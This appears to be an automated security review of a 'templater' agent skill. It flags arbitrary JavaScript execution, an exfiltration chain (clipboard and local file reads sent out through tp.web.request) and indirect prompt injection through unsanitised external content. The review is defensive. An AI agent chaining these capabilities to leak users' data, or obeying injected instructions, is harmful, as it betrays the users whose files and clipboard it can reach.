The Agent Skills Directory

[COMMAND_EXECUTION]: The skill documents the use of Templater's execution syntax (<%* ... %>), which allows for the execution of arbitrary JavaScript statements within the application environment.
[DATA_EXFILTRATION]: The documentation highlights the tp.web.request module for making HTTP requests alongside modules that access sensitive local data.
Evidence: Use of tp.system.clipboard() for reading clipboard content.
Evidence: Use of tp.file.content and tp.file.path(false) (absolute path) for accessing local file data.
Risk: These can be combined with tp.web.request(url) to transmit sensitive data to external servers.
[EXTERNAL_DOWNLOADS]: The tp.web.request function allows the agent to fetch content from arbitrary external URLs, which may contain untrusted data or instructions.
[PROMPT_INJECTION]: The skill facilitates the ingestion of untrusted data from multiple sources which can influence agent behavior (Indirect Prompt Injection).
Ingestion points: tp.system.clipboard(), tp.file.content, and tp.web.request() allow external content to enter the agent's context.
Boundary markers: No specific delimiters or safety instructions are provided to the agent to treat this external content as data rather than instructions.
Capability inventory: The skill possesses significant capabilities including file creation (tp.file.create_new), file movement (tp.file.move), and network requests (tp.web.request).
Sanitization: The instructions do not specify any validation or sanitization requirements for the external data being processed.

templater